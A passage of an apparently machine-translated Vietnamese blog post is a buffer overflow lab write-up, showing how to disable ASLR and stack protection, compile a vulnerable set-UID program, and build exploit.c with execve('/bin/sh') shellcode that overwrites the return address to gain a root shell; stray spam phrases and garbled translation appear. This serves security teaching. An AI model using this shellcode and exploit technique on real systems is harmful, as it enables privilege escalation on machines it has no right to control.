sách gpt4 ăn đã đi

Tấn công tràn bộ đệm

In lại Tác giả: Tôi là chú chim nhỏ Thời gian cập nhật: 25-01-2023 06:31:15 25 4
mua khóa gpt4 giày nike

Đầu tiên, để thuận tiện cho việc quan sát các câu lệnh lắp ráp, bạn cần vận hành trong môi trường 32 bit. Trước tiên, hãy cài đặt ứng dụng biên dịch có liên quan trong Kali:

hình ảnh

hình ảnh

Nhập lệnh linux32 để vào môi trường Linux 32-bit, nhập /bin/bash để sử dụng bash và sử dụng exit để thoát khỏi môi trường linux32-bit.

Trong Ubuntu và một số hệ thống Linux khác, tính năng ngẫu nhiên hóa không gian địa chỉ được sử dụng để ngẫu nhiên hóa các địa chỉ ban đầu của heap và stack, điều này khiến cho việc đoán địa chỉ bộ nhớ chính xác trở nên rất khó khăn và việc đoán địa chỉ bộ nhớ là một cuộc tấn công tràn bộ đệm. trong thử nghiệm này, chúng tôi sử dụng lệnh sau để tắt tính năng này:

                        
                          sudo sysctl -w kernel.randomize_va_space=0

                        
                      

hình ảnh

Ngoài ra, để ngăn chặn hơn nữa các cuộc tấn công tràn bộ đệm và các cuộc tấn công khác khai thác chương trình shell, nhiều chương trình shell sẽ tự động từ bỏ các đặc quyền của chúng khi được gọi. Do đó, ngay cả khi chương trình set-UID có thể bị lừa gọi shell, nó cũng không thể được sử dụng trong. shell này. Duy trì quyền root trong /bin/bash. Biện pháp bảo vệ này được triển khai trong /bin/bash. Trong các hệ thống Linux, /bin/sh thực sự là một liên kết tượng trưng trỏ đến /bin/bash hoặc /bin/dash. Để tái tạo tình huống trước khi biện pháp bảo vệ này được triển khai, chúng tôi sử dụng một chương trình shell khác zsh để thay thế /bin/bash. : (yêu cầu quyền root).

                        
                          cd /bin rm sh ln -s zsh sh thoát

                        
                      

hình ảnh

Trong trường hợp bình thường, lỗi tràn bộ đệm sẽ khiến chương trình bị lỗi sớm. Trong chương trình, lỗi tràn sẽ ghi đè địa chỉ trả về và nếu dữ liệu được ghi đè trả về là một địa chỉ khác thì chương trình sẽ nhảy đến địa chỉ đó. Nó là một đoạn mã được thiết kế cẩn thận để sử dụng cho các chức năng khác. Chúng ta thiết kế shellcode sau:

                        
                          #include  int main(){ char *name[2]; name[0] = “/bin/sh”; name[1] = NULL; execve(name[0], name, NULL); }

                        
                      

Hướng dẫn lắp ráp shellcode này như sau: \x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\ x80 .

Giả sử rằng chương trình bị tràn bộ đệm là ngăn xếp, hãy lưu đoạn mã sau dưới dạng tệp "stack.c" và lưu nó vào thư mục /tmp:

                        
                          /* stack.c */ /* Chương trình này có lỗ hổng tràn bộ đệm. */ /* Nhiệm vụ của chúng ta là khai thác lỗ hổng này */ #include  #include  #include  int bof(char *str) { char buffer[12]; /* Câu lệnh sau có vấn đề tràn bộ đệm */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Trả về đúng cách\n"); return 1; }


                        
                      

hình ảnh

Bạn có thể biết từ mã rằng chương trình sẽ đọc một tệp có tên "badfile" và tải nội dung tệp vào "bộ đệm". Biên dịch chương trình và đặt SET-UID.

                        
                          sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack

                        
                      

Trình biên dịch gcc có cơ chế bảo vệ ngăn xếp để tránh tràn bộ đệm nên chúng ta cần sử dụng -fno-stack-protector để tắt cơ chế này khi biên dịch mã. Và -z execstack được sử dụng để cho phép thực thi ngăn xếp.

hình ảnh

Vì mục tiêu của chúng tôi vừa rồi là tấn công chương trình dễ bị tấn công và giành được quyền root thông qua cuộc tấn công, nên chúng tôi xây dựng tải trọng sau: Lưu mã sau dưới dạng tệp "exploit.c" trong /tmp:

                        
                          /* exploit.c */ /* Một chương trình tạo ra một tệp chứa mã để khởi chạy shell*/ #include  #include  #include  char shellcode[]= "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Khởi tạo bộ đệm với 0x90 (lệnh NOP) */ memset(&buffer, 0x90, 517); /* Bạn cần điền nội dung thích hợp vào bộ đệm tại đây */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x???"); strcpy(buffer+100,shellcode); /* Lưu nội dung vào tệp "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }

                        
                      

Trong đoạn mã trên, địa chỉ của shellcode được lưu trong bộ nhớ cần được thêm vào tại "\x??\x??\x??\x?? vì vị trí này chỉ có thể bao gồm địa chỉ trả về sau khi xảy ra tràn . Và strcpy(buffer+100,shellcode); Câu này cho chúng ta biết shellcode được lưu tại vị trí của buffer+100. Bây giờ chúng ta muốn lấy địa chỉ của shellcode trong bộ nhớ thì nhập lệnh:

                        
                          gdb stack disass chính

                        
                      

Kết quả là như hình dưới đây:

hình ảnh

Thao tác tiếp theo: Trước tiên, hãy sử dụng câu lệnh điểm dừng b main để đặt điểm dừng của địa chỉ hàm chính sao cho địa chỉ dữ liệu của hàm chính được lưu trong thanh ghi, sau đó sử dụng ir $esp để đọc thanh ghi.

hình ảnh

Bộ đệm có dạng 0xffe07dc0. Theo câu lệnh strcpy(buffer+100,shellcode); chúng tôi tính toán địa chỉ của shellcode là 0xffe07dc0 (thập lục phân) + 100 (thập phân) = 0xffe07e24 (thập lục phân). ! Thay đổi \x??\x??\x??\x?? thành \x24\x7e\xe0\xff.

hình ảnh

Tiếp theo, thoát và biên dịch mining.c gcc -m32 -o khai thác khai thác.c.

hình ảnh

Bây giờ hãy bắt đầu cuộc tấn công: trước tiên hãy chạy chương trình expolit, sau đó chạy ngăn xếp chương trình dễ bị tấn công. Quan sát kết quả: .

hình ảnh

Có thể thấy rằng thông qua cuộc tấn công, đã có được quyền root! .

Bài tập 2: Sử dụng lệnh "sudo sysctl -w kernel.randomize_va_space=2" để bật cơ chế ngẫu nhiên hóa không gian địa chỉ của hệ thống, liên tục sử dụng chương trình khai thác để tấn công chương trình ngăn xếp và quan sát xem cuộc tấn công có thành công hay không và liệu quyền root có thể được.

hình ảnh

Cuộc tấn công thất bại mà không có quyền root. Tôi nghĩ đó là do tính năng ngẫu nhiên hóa không gian địa chỉ được bật, khiến địa chỉ được tính toán trước đó khác với địa chỉ thực tế nên cuộc tấn công không thể hoàn thành.

Bài tập 3: Chuyển hướng /bin/sh sang /bin/bash (hoặc /bin/dash) và quan sát xem cuộc tấn công có thành công hay không và liệu có thể lấy được quyền root hay không.

hình ảnh

Cuộc tấn công thất bại và không có được quyền root. Chương trình bash được sử dụng không có quyền root khi shell đang chạy. Tại thời điểm này, ngay cả khi chương trình tấn công tấn công chương trình dễ bị tấn công, nó cũng không thể có được quyền root.

Trong giai đoạn thử nghiệm, không gian địa chỉ được chọn ngẫu nhiên để chọn ngẫu nhiên các địa chỉ ban đầu của vùng nhớ heap và ngăn xếp, khiến việc đoán địa chỉ bộ nhớ chính xác trở nên khó khăn. Vì vậy, cần phải tắt tính năng ngẫu nhiên hóa địa chỉ và sửa địa chỉ, giúp việc đoán địa chỉ dễ dàng hơn. Chương trình tấn công ghi một tệp badfile và thay thế một phần byte bằng các byte được tính toán trước đó. Khi chương trình dễ bị tấn công đọc tệp badfile, do không có giới hạn về độ dài đầu vào nên giá trị trả về sẽ bị ghi đè bởi các byte được thay thế trước đó. chương trình quay trở lại, nó nhảy đến địa chỉ được chỉ định trước, lấy quyền root và hoàn thành cuộc tấn công.

Cuối cùng, bài viết về tấn công tràn bộ đệm này kết thúc tại đây. Nếu bạn muốn biết thêm về các cuộc tấn công tràn bộ đệm, vui lòng tìm kiếm các bài viết về CFSDN hoặc tiếp tục duyệt các bài viết liên quan. Tôi hy vọng bạn sẽ ủng hộ blog của tôi trong tương lai! .

25 4 0
tôi là một con chim nhỏ
Hồ sơ

Tôi là một lập trình viên xuất sắc, rất giỏi!

Nhận phiếu giảm giá taxi Didi miễn phí
Phiếu giảm giá taxi Didi
Chứng chỉ ICP Bắc Kinh số 000000
Hợp tác quảng cáo: 1813099741@qq.com 6ren.com
Xem sitemap của VNExpress